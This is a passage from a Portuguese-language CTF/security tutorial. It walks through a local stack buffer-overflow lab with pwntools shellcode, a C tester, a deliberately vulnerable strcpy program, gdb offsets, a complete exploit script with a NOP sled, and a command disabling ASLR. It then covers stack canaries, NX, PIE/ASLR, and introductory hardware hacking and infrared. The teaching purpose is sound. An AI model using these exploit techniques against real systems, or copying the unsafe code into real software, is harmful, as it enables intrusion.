>>> context.arch = 'i386'
>>> context.bits = 32
>>> asm(shellcraft.sh())
b'jhh///sh/bin\x89\xe3h\x01\x01\x01\x01\x814$ri\x01\x011\xc9Qj\x04Y\x01\xe1Q\x89\xe11\xd2j\x0bX\xcd\x80'
```

No caso, o shellcode acima será para sistemas em 32-bits pois definimos `context.arch` como `i386` e `context.bits` como `32`.

Podemos criar um para sistemas 64-bits definindo `context.arch` como `amd64` e `context.bits` como `64`:

```
>>> from pwn import *
>>> context.arch = 'amd64'
>>> context.bits = 64
>>> asm(shellcraft.sh())
b'jhH\xb8/bin///sPH\x89\xe7hri\x01\x01\x814$\x01\x01\x01\x011\xf6Vj\x08^H\x01\xe6VH\x89\xe61\xd2j;X\x0f\x05'
```

Se quisermos ver o número de bytes que esse shellcode ocupa, podemos usar `len(asm(shellcraft.sh()))`.

Podemos ver que o tamanho do shellcode de 32-bits é 44 bytes e o tamanho do de 64-bits é 48 bytes. Há shellcodes menores que esses pela internet, então se o espaço que você tiver para escrever o shellcode for menor que isso, você pode procurar por um desses ou fazer o seu próprio.

Se copiarmos esses bytes para nosso testador, não irá funcionar, pois do jeito que está apresentado nessa string de bytes, conjunto de bytes como "\x814", que deveria ser interpretado como o caractere "\x81" + o caractere "4" será interpretado pelo compilador em C como caracteres cujos hexadecimais são "\x814". Para contornar esse problema, podemos separá-los em várias strings, por exemplo, transformando `"\x01\x01\x814$\x01\x01\x01"` em `"\x01\x01\x81" "4$\x01\x01\x01"`. Dessa forma, no nosso testador, o shellcode para 32-bits fica:

```c
void (*shellcode)() = "jhh///sh/bin\x89\xe3h\x01\x01\x01\x01\x81""4$ri\x01\x01""1\xc9Qj\x04Y\x01\xe1Q\x89\xe1""1\xd2j\x0bX\xcd\x80";

int main(void) {
    (*shellcode)();
    return 0;
}
```

Compilando novamente com `gcc testador.c -o testador -z execstack -m32 -Wno-incompatible-pointer-types` e executando, podemos ver que conseguimos uma shell `sh`. Podemos testar alguns comandos como o `ls` ou sair dessa shell com Ctrl+D.

Agora vamos juntar o buffer overflow com o shellcode. Para isso, vamos criar um programa com um buffer overflow. O programa será o seguinte:

```c
#include <stdio.h>
#include <string.h>

int main(int argc, char *argv[]) {
    char buffer[8];

    strcpy(buffer, argv[1]);

    return 0;
}
```

Nesse caso, usaremos o `strcpy()` para não termos que nos preocupar com o caso de o shellcode ter um espaço ou um '\n' no meio e o scanf() parar de ler. Caso fossemos lidar com o `scanf()`, teriamos que fazer um shellcode que não possua esses caracteres no meio. O strcpy() para apenas no '\0', então só precisamos garantir que não há bytes nulos no shellcode.

Compilaremos esse programa da seguinte forma:

```
gcc shellcode.c -o shellcode -z execstack -fno-stack-protector -m32 -mpreferred-stack-boundary=2 -no-pie
```

Podemos verificar se está tudo correto usando o checksec do pwntools pelo seguinte comando:

```
checksec shellcode
```

Se aparecer a seguinte mensagem com o NX disabled, está tudo certo:

```
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x8048000)
    RWX:      Has RWX segments
```

Caso apareça essa outra mensagem com o NX enabled:

```
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
```

Você precisará usar o `execstack` para removê-lo, caso contrário, não poderemos executar a stack.

```
execstack -s shellcode
```

Abrindo no gdb, vemos que a organização da stack na main está da seguinte forma:

```
Dump of assembler code for function main:
   0x08049196 <+0>:     endbr32
   0x0804919a <+4>:     push   ebp
   0x0804919b <+5>:     mov    ebp,esp
   0x0804919d <+7>:     push   ebx
   0x0804919e <+8>:     sub    esp,0x8
   [...]
   0x080491b4 <+30>:    lea    edx,[ebp-0xc]
   [...]
```

Portanto temos 4 bytes do ebp + 4 bytes do ebx + 8 bytes do stack frame, que no caso é só composto pelo nosso buffer, até começarmos a sobreescrever o endereço de retorno. Nosso shellcode será colocado após o endereço de retorno, já que não há espaço no buffer e também porque tem grandes chances de um push do shellcode acabar sobrescrevendo partes do próprio shellcode se colocado antes do endereço de retorno, que será o topo da stack na execução do shellcode.

A próxima coisa que faremos é pegar o endereço da stack, para sabermos onde começará o shellcode.

Podemos dar `break main` no gdb para que a stack esteja num ponto que há apenas o endereço de retorno na stack e assim, o endereço em que colocaremos nosso shellcode será `esp + 4`. Como estamos usando o argumento da main para escrever o shellcode e esse argumento será colocado na stack pois é um argumento de função, se colocarmos um argumento de tamanho diferente de nosso payload final, o endereço que pegarmos da stack não será o mesmo de quando executarmos nosso payload. Por isso, vamos colocar um argumento que simule os 16 bytes de padding, mais 4 do endereço de retorno e mais 44 bytes do nosso shellcode, totalizando 64 bytes.

Podemos usar o `$()` para colocar um comando no lugar do argumento e podemos usar o Python com a flag `-c` para que ele execute o que estiver entre aspas.

```
break main
run $(python3 -c "print('A' * 64)")
```

Para esse exemplo, o endereço que estará o shellcode será 0xffffd390, mas ele varia de terminal para terminal por causa das variáveis de ambiente que são colocadas antes da stack.

Sairemos do gdb e abriremos o Python 3 para começar nosso exploit. Nosso payload será 16 bytes aleatórios para chegarmos no endereço de retorno, mais 4 bytes do endereço de retorno e depois nosso shellcode.

Escreveremos o seguinte script:

```
from pwn import *

# Faz o buffer overflow
payload = b'A' * 16              # Padding
payload += p32(0xffffd390)       # Endereço de retorno

# Adiciona o shellcode
context.arch = 'i386'            # Arquitetura i386
context.bits = 32                # 32-bits
payload += asm(shellcraft.sh())  # Concatena o shellcode

# Escreve em um arquivo
f = open('exploit.txt', 'wb')    # Abre um arquivo para escrita
f.write(payload)                 # Escreve o payload nesse arquivo
f.close()                        # Fecha o arquivo
```

Se formos para o gdb e executarmos o programa com nosso arquivo de payload como argumento:

```
run $(cat exploit.txt)
```

Podemos ver que ele abrirá uma shell `sh`.

Porém, uma shell no GDB não pode te dar permissões a mais e será uma execução local, então temos que ver se o exploit funciona também no programa de verdade.

Se tentarmos executar no programa original:

```
./shellcode $(cat exploit.txt)
```

Muito provavelmente irá causar um segmentation fault sem abrir a shell. Um motivo disso é que as variáveis de ambiente dentro e fora do GDB são diferentes e por isso, a stack não estará exatamente no mesmo lugar. Outro motivo é que o ASLR provavelmente deve estar habilitado na máquina. Veremos mais para frente, mas em resumo, por causa do ASLR, a stack pode ser colocada em um lugar diferente a cada execução.

Há diversas formas de contornar isso. Podemos desabilitar o ASLR usando `echo 0 | sudo tee /proc/sys/kernel/randomize_va_space` e usar uma ferramenta chamada NOP sled.

NOP é uma instrução que não faz nada e em binário, ela é equivalente ao byte 0x90. Quando você junta vários desses NOPs, você forma um NOP sled. Esse NOP sled pode ser colocado antes do shellcode para que ele vá executando esse "nada" até chegar ao shellcode, permitindo assim uma maior margem de erro.

Vamos desabilitar o ASLR e adicionar um NOP sled de 1000 bytes ao nosso exploit. Para isso, teremos que pegar o novo endereço da stack, baseado em um argumento de 64+1000 bytes. Então abrimos o GDB e executamos novamente os seguintes comandos:

```
break main
run $(python3 -c "print('A' * 1064)")
print $esp+0x4
```

Agora com o novo endereço, que nesse exemplo é 0xffffcf90, modificamos nosso script em Python para o novo endereço e colocamos um NOP sled de 1000 bytes logo antes do shellcode. Também usaremos o endereço que pegamos somado com aproximadamente metade do NOP sled, para caso o começo do NOP sled no GDB esteja antes do começo do NOP sled na stack real. Caso não esteja, ainda é muito provável que mesmo somando metade, ainda acertaremos o NOP sled.

```
#!/usr/bin/env python3

from pwn import *

# Faz o buffer overflow
payload = b'A' * 16              # Padding
payload += p32(0xffffcf90+0x200) # Endereço de retorno + aproximadamente metade do NOP sled

# Adiciona o shellcode
context.arch = 'i386'            # Arquitetura i386
context.bits = 32                # 32-bits
payload += b'\x90' * 1000        # Adiciona o NOP sled
payload += asm(shellcraft.sh())  # Concatena o shellcode

# Escreve em um arquivo
f = open('exploit.txt', 'wb')    # Abre um arquivo para escrita
f.write(payload)                 # Escreve o payload nesse arquivo
f.close()                        # Fecha o arquivo
```

Testando no programa original:

```
./shellcode $(cat exploit.txt)
```

Provavelmente você conseguiu uma shell. Se testar no GDB, ele deve funcionar também. Caso não tenha conseguido, tente aumentar o tamanho do NOP sled e/ou mudar o offset em relação ao endereço original, que nesse caso foi usado 0x200 (aproximadamente metade do NOP sled).


# Proteções

## Proteções da stack

Agora que sabemos de alguns ataques, vamos olhar algumas das formas de proteção contra tais ataques.

Nos exemplos de buffer overflow, compilamos nossos programas com `-fno-stack-protector`. Isso evita que o GCC compile nosso programa com o `-fstack-protector`.

Essa proteção coloca todos os buffers entre as variáveis normais e os registradores salvos na stack (como o ebp). Dessa forma, ela evita que as variáveis normais sejam sobrescritas por um buffer overflow. Além disso, ela também coloca um espaço extra no fim do stack frame, chamado de stack canary, que é atribuido um valor secreto que muda toda vez que o programa é executado. No fim da função, esse valor será verificado e caso tenha sido alterado, a função `__stack_chk_fail()` será chamada, exibindo uma mensagem de erro de stack smashing e finalizará o programa.

Há também o NX bit, que previne a execução de certas áreas da memória, impedindo assim a execução de shellcodes nessas áreas. A stack costuma ser uma das regiões de memória protegidas pelo NX bit. Quando estavamos vendo shellcode, compilamos o programa com `-z execstack` e também usamos o `execstack -s` para removê-lo. Podemos habilita-lo explicitamente com `-z noexecstack` e `execstack -c`.

## PIC/PIE e ASLR

Além de delimitações de buffer que o programador pode colocar para evitar buffer overflow e proteções da stack, há algumas medidas de segurança para evitar execução de código arbitrário também. Uma delas é o **ASLR**. Mas antes de falar sobre ASLR, vamos falar sobre o **PIE**.

**Position-Independent Executable (PIE)** são binários executáveis que fazem o uso de **Position-Independent Code (PIC)** em todo seu código.

Position-Independent Code, como o nome diz, são códigos que não dependem de sua posição para serem executados, ou seja, seu endereço não é hard-coded no código do programa.

O ASLR, Address Space Layout Randomization, é uma técnica de segurança que aleatorializa as posições das regiões da memória, como por exemplo a stack, a heap e as bibliotecas compartilhadas. Isso deixa os endereços mais difíceis de serem adivinhados por um atacante, dificultando ataques envolvendo mudança do fluxo de execução e de escrita arbitrária. O PIE fornece uma maior eficácea para o ASLR, já que funções do executável principal também recebem o tratamento de bibliotecas compartilhadas e, portanto, podem ser randomizadas pelo ASLR.

O PIE pode ser habilitado com a flag de compilação `-pie` e desabilitado com `-no-pie`. O ASLR pode ser habilitado mudando o `/proc/sys/kernel/randomize_va_space` para 2 e desabilitado mudando para 0.


# Hardware


# Introdução ao Hardware Hacking

Esse tipo hacking, como o próprio nome já diz, lida com a manipulação e exploração de aparelhos físicos, sistemas embarcados, e tecnologias afins. Dentro desse tema vasto é possível destacar algumas áreas de interesse principais que são tratadas pela frente:

## - IOT Hacking

O IOT, também conhecido em português como internet das coisas, é um conceito moderno dentro da área da tecnologia que se refere à interconexão digital dos objetos do dia-a-dia com a internet e até mesmo entre si. O uso de dispositivos desse tipo tem se tornado muito comum nos dias de hoje, entretanto a segurança empregada na fabricação desses dispositivos deixa um pouco a desejar. Um exemplo famoso de exploits que usaram das vulnerabilidades desses aparelhos foi a Mirai Botnet (<https://en.wikipedia.org/wiki/Mirai_(malware>)). Alguns dos ataques comuns aos dispositivos IOT incluem, mas não restritos a:

* Explorar pinos de debugging abertos para o usuário, como Interface serial ou JTAG
* Dessoldar chips e extrair a memória ou modificá-la

Em CTFs, esse tipo de hacking tem um enfoque em eletrônica e em challs de forensics que fornecem um dump de memória para ser analisado.

## - Telecomunicação

Essa área estuda a comunicação de dispositivos por ondas eletromagnéticas e transmissão de dados a longa distância, sendo essas possívelmente interceptáveis usando SDRs e técnicas de decodificação de sinais. É importante também o conhecimento de tecnologias novas como RFID, NFC, ZIGBEE e BLE. Em CTFs os challs envolvem algum tipo de processamento e interpretação de sinais.

## - Eletrônica

Envolve um contato mais direto com circuitos eletrônicos e seu funcionamento, sendo algo bem comum a engenharia reversa e ataques diretamente à chips, PCBs e circuitos integrados na placa principal do aparelho. Um exemplo comum do comprometimento da segurança desses dispositivos são desbloqueios de videogame, e smart cards de TVs a cabo. Outros exemplos de ataque incluem a extração de segredos a partir do consumo de energia e as suas variações (<https://en.wikipedia.org/wiki/Power_analysis>), ou a pertubação do comportamento de um chip para obter um resultado conveniente ao atacante (<https://en.wikipedia.org/wiki/Differential_fault_analysis>). Existem challenges que envolvem a engenharia reversa de projetos em Verilog, VHDL ou netlist.


# Introdução ao Infravermelho

O infravermelho, também conhecido como infrared ou IR, é a radiação eletromagnética com comprimentos de onda maiores do que os da luz visível, portanto é invisível ao olho humano. O comprimento de onda mais comum quando se fala de IR em aparelhos comerciais é algo em torno de 950 nm. Essa radiação foi descoberta em 1800 pelo astrônomo Sir William Herschel, porém demorou bastante tempo para que ela fosse usada como meio de comunicação bidirecional pelos seres humanos, sendo um exemplo muito comum os controles remotos de televisão. Em aparelhos eletrônicos, a transmissão de dados por meio do infravermelho se dá baseada na comunicação entre dois componentes: um transmissor, normalmente algo como um diodo (led), e um receptor, que tem o trabalho de fazer a demodulação dos dados.

## Modulação

A modulação é a forma que o sinal é processado no receptor e consiste em atribuir um padrão de pulsações para os dados que estão sendo mandados pelo "piscar" do transmissor, funcionando como um protocolo. Um esquema de "piscagem" comum para aparelhos infravermelhos é a de 38kHz. Existem vários tipos diferentes de modulações que podem ser usadas para encodar os dados como a Mancheter Encoding, ou a Pulse-Lenght encoding. Mais informações acerca desses esquemas podem ser vistas no link (<https://irq5.io/2012/07/27/infrared-remote-control-protocols-part-1/>).


